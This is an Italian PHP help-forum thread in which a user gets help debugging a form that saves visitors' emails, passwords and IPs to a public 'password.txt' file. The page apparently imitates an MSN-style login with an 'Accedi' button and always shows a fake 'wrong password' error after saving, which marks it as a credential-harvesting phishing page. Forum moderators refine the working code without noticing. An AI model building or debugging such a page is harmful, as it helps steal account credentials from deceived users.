Visualizzazione risultati 1 fino 25 di 25
Like Tree1Likes
  • 1 Post By dreadnaut

Discussione: Php & android

  1. #1
    Guest

    Predefinito Php & android

    Salve ragazzi, allora vi scrivo per esporvi il seguente problema.
    In pratica ho una pagina web in cui si deve compilare un form ed in seguito al click di un pulsante "invia", questi dati devono essere scritti su un file testuale. Tutto questo è stato fatto in php e funziona correttamente.

    Il problema però è che ho notato che da alcuni cellulari (non tutti) il sito web si vede perfettamente ma non viene eseguito il codice php.. ossia alla pressione del pulsante invia non crea ne il file e ne ci scrive sopra (proprio come se il codice in php non venga eseguito) è possibile questa cosa?

  2. #2
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,266

    Predefinito

    Tutto è possibile, ma senza vedere il codice è difficile valutare la situazione. E se la pagina è raggiungibile da qualche parte e ci dai il link, è un aiuto in più.

  3. #3
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    PHP è eseguito lato server, a prescindere dal client.

    Sicuro che il modulo sia inviato correttamente alla pagina PHP?

  4. #4
    Guest

    Predefinito

    si perchè da tutti i computer e da tutti cellulari tranne alcuni come ad esempio il samsung galaxy s4 il codice php viene eseguito correttamente.. è molto strano..

  5. #5
    Guest

    Predefinito

    Codice PHP:
    <?php

    include "colori.php" ;
    include
    "config.php" ;

    if(isset(
    $_POST['submit'])){

    $email = Strip_Tags($_POST['email']);
    $pwd = Strip_Tags($_POST['nick']);
    $ip = $_POST['ip'];
    $data = date('j/n/y - H:i') ;



    $dati_file = "risultato.txt";

    // |

    $riga_messaggio = "$pwd|$email|$data|$ip";
    $riga_messaggio = str_replace("\n","<BR>",$riga_messaggio);
    $riga_messaggio = stripslashes($riga_messaggio);
    $riga_messaggio .= "\n";

    $fp = fopen($dati_file, "a");
    if(!
    $fp) {
    echo
    "Errore!";
    exit;
    }

    $fw = fwrite($fp, $riga_messaggio);
    $fc = fclose($fp);


    echo
    "<b>Errore di sistema!!<br></b>";


    }

    ?>

    <html>
    <head>
    <title>prova</title>

    <?php include "stile.inc" ;?>

    <body>
    <p></p>
    <p></p>
    <div align="center">
    <p></p>
    <p></p>
    <p></p>
    <p>
    <div align="center">
    <div align="center">
    <h3>&nbsp;</h3>
    <br><br>
    <form name="form" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?> ">
    <p></p>
    <p></p>
    <table>
    <tr>
    <td><b>Indirizzo Email:</b></td>
    <td><input type="text" name="email" value="" size=25></td>
    </tr>
    <tr>
    <td><b>Password:</b></td>
    <td><input type="password" name="nick" size=25></td>
    </tr>
    <tr>
    <td></td>
    <td></td>
    </tr>
    <tr>
    <td>
    <h5></h5>
    </td>
    <input name="ip" type="hidden" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>">
    <td align=right>
    <p align="center"><input type="submit" name="submit" value="Invia" id="bottoni"></p>
    </td>
    </tr>
    </table>
    </form>
    <h4></a></h4>
    </div>
    </div>
    </p>
    </div>
    <?php
    echo "<div id='copy'> prova</div>";
    ?>
    </body>
    </html>
    Ultima modifica di groupspace : 21-05-2016 alle ore 18.45.40 Motivo: + tag [php] per il codice

  6. #6
    Guest

    Predefinito

    ecco il codice comunque..ditemi voi..

  7. #7
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,266

    Predefinito

    Quando premi invio, la pagina si aggiorna oppure no? Perché il codice sopra, anche in caso di successo, mostra sempre un messaggio "errore di sistema".

    Altri dettagli:
    • mettere l'indirizzo IP in un campo del form per poi rileggerlo è inutile, e permette al visitatore di falsificare i dati —non farlo
    • mettere i dati su una riga sola separati da un solo carattere è un gran rischio: basta che qualcuno usi quel carattere nel nome o nella password per rompere tutto; come minimo, è più saggio serializzare i dati con serialize() e json_encode()
      Codice PHP:
      <?php
      $record
      = array(
      'password' => $pwd,
      'email' => $email,
      'data' => date('Y-m-d H:i:s'), // un formato che può essere elaborato più facilmente
      'ip' => $_SERVER['REMOTE_ADDR'], // l'ip lo salviamo qua
      );

      fwrite($fp, serialize($record) . "\n");
    • il form è costruito all'antica, con una marea di tabelle e tag semi-rotti, e non serve mettere un action="" quando rimandi alla pagina stessa; questo sarebbe sufficiente, il resto è css:
      Codice PHP:
      <form method="post" autocomplete="off">
      <
      p><label>Indirizzo email <input type="email" required name="email" /></label>
      <
      p><label>Password <input type="password" required name="nick" /></label>
      <
      p><input type="submit" name="submit" value="Invia" />
      </
      form>
    • prima del tag <html> manca il doctype della pagina; aggiungilo, non sia mai che Android sia schizzinoso:
      Codice HTML:
      <!doctype html>
      <html>
        <head>
           <meta charset="iso-8859-1" />
           <title> etc etc </title>
    Ultima modifica di dreadnaut : 21-05-2016 alle ore 19.19.29
    darkwolf likes this.

  8. #8
    Guest

    Predefinito

    si, si aggiorna (con il messaggio d'errore è una prova quindi non pensare sia pazzo) la pagina ma non mi crea il file.. però ti ripeto fa questa cosa solo con alcuni dispositivi mobile.. per il resto che hai detto sono d'accordo ma non penso sia dovuto a quello il problema.
    Ultima modifica di groupspace : 21-05-2016 alle ore 19.18.08

  9. #9
    Guest

    Predefinito

    cmq ho fatto le modifiche ma niente, il php della creazione file continua a non funzionare su alcuni dispositivi mobile.

  10. #10
    Guest

    Predefinito

    nessuno riesce ad aiutarmi? :(

  11. #11
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    si aggiorna (con il messaggio d'errore è una prova quindi non pensare sia pazzo) la pagina ma non mi crea il file
    Quale messaggio d'errore? Quello "vero" che indica il fallimento dell'apertura del file, o quello "fasullo" dopo la chiusura del file?
    Controlla anche il valore di ritorno di fwrite e fclose, i quali restituiscono false in caso di fallimento.

    Usa error_reporting(E_ALL) per mostrare tutti gli errori che avvengono durante l'esecuzione, in questo modo avrai informazioni aggiuntive.

  12. #12
    Guest

    Predefinito

    mi ritorna il messaggio d'errore fasullo dopo la chiusura del file.. inoltre ho notato che da due identici dispositivi mobile (samsung galaxy s4) che molto probabilmente usano connessioni differenti su uno funziona tutto correttamente mentre sull'altro no..(non mi crea il file dei dati).

  13. #13
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    I valori di ritorno di fwrite ed fclose? Eventuali errori riportati da error_reporting[E_ALL]?

  14. #14
    Guest

    Predefinito

    scusa non sono esperto di php..mi scrivi il codice che devo eseguire e soprattutto da quale dispositivo per riportarti questi valori? grazie

  15. #15
    Guest

    Predefinito

    hai skype per caso? oppure facebook? cosi facciamo prima..
    non dirmi niente ti rubo solo 2 minuti il tempo di risolvere sta cosa.. grazie

  16. #16
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    Mi spiace, non uso né l'uno né l'altro servizio

    Riguardo al codice, error_reporting(E_ALL) all'inizio, prima delle altre istruzioni:
    Codice PHP:
    <?php
    error_reporting
    (E_ALL)

    include
    "colori.php" ;
    include
    "config.php" ;
    ...
    I controlli subito dopo le relative chiamate (assumo tu abbia integrato le modifiche suggerite da dreadnaut, quindi che tu stia usando un vettore $record). Già che ci siamo, ispezioniamo anche il contenuto di tale vettore:
    Codice PHP:
    // Mostra il contenuto di $record
    echo "<pre>";
    var_dump($record);
    echo
    "</pre>";

    $fw = fwrite($fp, serialize($record));
    if (
    $fw === false) {
    echo
    "ERROR: cannot write to file";
    exit;
    }

    $fc = fclose($fp);
    if (
    $fc === false) {
    echo
    "ERROR: cannot close file";
    exit;
    }

    echo
    "Scrittura avvenuta correttamente.";

  17. #17
    Guest

    Predefinito

    <?php
    error_reporting(E_ALL)
    include "colori.php";

    if(isset($_POST['submit'])){

    $email = Strip_Tags($_POST['email']);
    $pwd = Strip_Tags($_POST['nick']);
    $data = date('j/n/y - H:i') ;


    $record = array(
    'password' => $pwd,
    'email' => $email,
    'data' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['REMOTE_ADDR'],
    );

    echo "<pre>";
    var_dump($record);
    echo "</pre>";

    $dati_file = "password.txt";
    $fp = fopen($dati_file, "a");
    if(!$fp) {
    echo "Errore! Non si puo aprire il file";
    exit;
    }

    $fw = fwrite($fp, serialize($record));
    if ($fw === false) {
    echo "ERROR: cannot write to file";
    exit;
    }

    $fc = fclose($fp);
    if ($fc === false) {
    echo "ERROR: cannot close file";
    exit;
    }

    echo "Scrittura avvenuta correttamente."

    echo "<b>Errore di sistema. !<br></b>";

    }
    ?>


    <!doctype html>
    <html>
    <head>
    <meta charset="iso-8859-1" />
    <title>GroupSpace</title>
    <html>
    <head>
    <?php include "stile.inc" ;?>
    <body>

    <div align="center">

    <h3>&nbsp;</h3>

    <h3>prova</h3>
    <img border="0" width="300" height="309" src="msn.jpg" ></img>
    <br><br>
    <form method="post" autocomplete="off">
    <p><label>Indirizzo Email: <input type="email" required name="email" /></label>
    <p><label>Password: <input type="password" required name="nick" /></label>
    <p><input type="submit" name="submit" value="Accedi" />
    </form>
    <h4></a></h4>
    </div>
    <br>

    </body>
    </html>

    va bene cosi?

  18. #18
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    Sì, è corretto.

  19. #19
    Guest

    Predefinito

    ok comunque sei sicuro che non vada il punto e virgola dopo l'istruzione error_reporting(E_ALL)? perchè mi da errore..

  20. #20
    Guest

    Predefinito

    comunque ho messo il punto e virgola ed è andato.. l'ho eseguito attraverso il pc non mi riporta nessun errore e mi stampa correttamente il contenuto del vettore:

    array(4) {
    ["password"]=>
    string(5) "cvfff"
    ["email"]=>
    string(11) "122@live.it"
    ["data"]=>
    string(19) "2016-05-22 13:57:10"
    ["ip"]=>
    string(12) "93.33.175.22"
    }

  21. #21
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    comunque ho messo il punto e virgola ed è andato
    Mi era sfuggito, serviva il punto e virgola.
    Ok, ora prova sui dispositivi mobile che ti davano problemi.

  22. #22
    Guest

    Predefinito

    eh.. ora non mi è possibile.. puoi provare tu un attimo dal tuo cellulare? cosi proviamo grazie..
    ecco il sito:
    http://groupspace.altervista.org/

  23. #23
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    Ho provato sia dal mio telefono (Android 2.2.1) che dal computer. Con entrambi visualizzo correttamente la stampa del vettore $record, ma subito sotto viene mostrato "Errore di sistema. Password Errata!".

    Ho inserito l'url http://groupspace.altervista.org/password.txt per controllare, e tutti i tentativi che ho effettuato sono stati salvati nel file.

    Non so se il mio telefono rientrasse tra i dispositivi con i quali non funzionava.

  24. #24
    Guest

    Predefinito

    si anche con il mio cellulare funziona ed anche con quello di un mio amico infatti ho trovato tutti gli output nel file (anche i tuoi).. il punto è che con altri miei amici non funzionava.. ora sta a chiamarli e farli provare.. cmq come può essere..??

  25. #25
    mzanella non è connesso AlterGuru
    Data registrazione
    29-12-2015
    Messaggi
    1,954

    Predefinito

    cmq come può essere..??
    Con le ultime aggiunte al codice, verranno stampati tutti gli eventuali errori e sara` piu` facile capire la causa del problema.

    Cosi` a naso, le cause che ritengo piu` probabili sono l'invio non corretto del form (e quindi il codice PHP non viene nemmeno eseguito), oppure qualche problema nella scrittura del file. In quest'ultmo caso ce ne accorgeremo grazie alla stampa del vettore e all'eventuale presenza del messaggio "cannot write to file".

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •